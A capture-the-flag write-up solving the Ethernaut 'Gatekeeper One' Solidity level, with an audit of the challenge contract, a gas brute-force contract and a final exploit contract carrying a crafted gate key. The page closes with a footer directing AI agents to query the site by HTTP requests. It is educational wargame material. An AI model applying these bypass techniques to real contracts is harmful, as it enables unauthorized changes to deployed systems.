# Gatekeeper One

## Description

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

* Remember what you've learned from the Telephone and Token levels.
* You can learn more about the special function `gasleft()`, in Solidity's documentation (see [here](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) and [here](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)).

## Background Knowledge

### gasleft()

<https://ethereum.stackexchange.com/questions/48331/show-gas-used-in-solidity>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
```

We are given three "gates" as modifiers and we should pass all these modifier to complete this level.

## Solution

### gateOne

```solidity
require(msg.sender != tx.origin);
```

We have seen this in "Telephone". A proxy contract suffices to pass this check.

### gateTwo

```solidity
require(gasleft() % 8191 == 0);
```

It means "right after `gasleft()` is called, the remaining gas up to that point (in the challenge contract) should be a multiple of 8191".

Note that we are dealing with modular arithmetics of mod 8191. In other words, we can just brute-force through the elements of the following group:

$$\mathbb{Z}/8191\mathbb{Z}$$

Let's start with some relatively large gas, say 100000, and brute-force:

```
100000 + 0
100000 + 1
100000 + 2
...
100000 + 8190
```

The correct gas must be one of these numbers. Translating this logic into code:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns(bool);
}

contract attack {
    event Failed(bytes reason, uint256 gas);

    function run() external {
        IGatekeeperOne target = IGatekeeperOne(0x1A6742878b66bEA357790541894a38010831B05F);

        // Some dummy _gateKey passed into enter()
        bytes8 key;
        key = 0xdeadbeefdeadbeef;

        // Starts with 100000
        uint256 gas = 100000;
        // Brute-force 100000+0, 100000+1, ..., 100000+8190
        for(uint256 i; i < 8191; ++i) {
            gas += 1;
            try target.enter{gas:gas}(key) {}
            catch (bytes memory reason) {
                emit Failed(reason, gas);
            }
        }
    }
}
```

Deploy this contract in Remix and call `run()`. In the output, 8190 rounds of brute-forcing would fail and only 1 round would succeed. As a result, the `reason` field of that successful round must be distinct from all other rounds. To find out which round has unique `reason` field, copy the entire log and paste it to a text editor:

<figure><img src="/files/RKvcW0Utwa8SQaCGn6Cj" alt=""><figcaption></figcaption></figure>

Here I use the "find and replace" functionality of Sublime to delete all instances of `"reason": "0x"`, then the entry with `"reason": "0x08c379a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000029476174656b65657065724f6e653a20696e76616c6964206761746554687265652070617274206f6e650000000000000000000000000000000000000000000000"` is filtered out. In my case the correct gas is 106739.

### gateThree

#### Check 1

```solidity
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)))
```

This is saying "the second half of `_gateKey` is equivalent to the last quarter of `_gateKey`". For example:

```
(0x) XXXX XXXX 0000 XXXX
```

#### Check 2

```solidity
require(uint32(uint64(_gateKey)) != uint64(_gateKey))
```

This is saying "the second half of `_gateKey` is not equivalent to `_gateKey`". The example we used for Check 1 is still good to use:

```
(0x) XXXX XXXX 0000 XXXX
```

We can choose:

```
(0x) dead beef 0000 XXXX
```

#### Check 3

```solidity
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)))
```

This specifies the last quarter of `_gateKey`. Here `tx.origin` is the address of our Metamask wallet. Take the last four hex digits of it. For me, it is 48ca:

```
(0x) dead beef 0000 48ca
```

### Exp

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns(bool);
}

contract attack {
    event Failed(bytes reason, uint256 gas);

    function run() external {
        IGatekeeperOne target = IGatekeeperOne(0x1A6742878b66bEA357790541894a38010831B05F);

        bytes8 key;
        key = 0xdeadbeef000048ca;

        uint256 gas = 106739;
        target.enter{gas:gas}(key);
    }
}
```

Deploy the contract in Remix. Pass `0xdeadbeef000048ca` to `run()`.

## Summary

Well done! Next, try your hand with the second gatekeeper...


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/gatekeeper-one.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
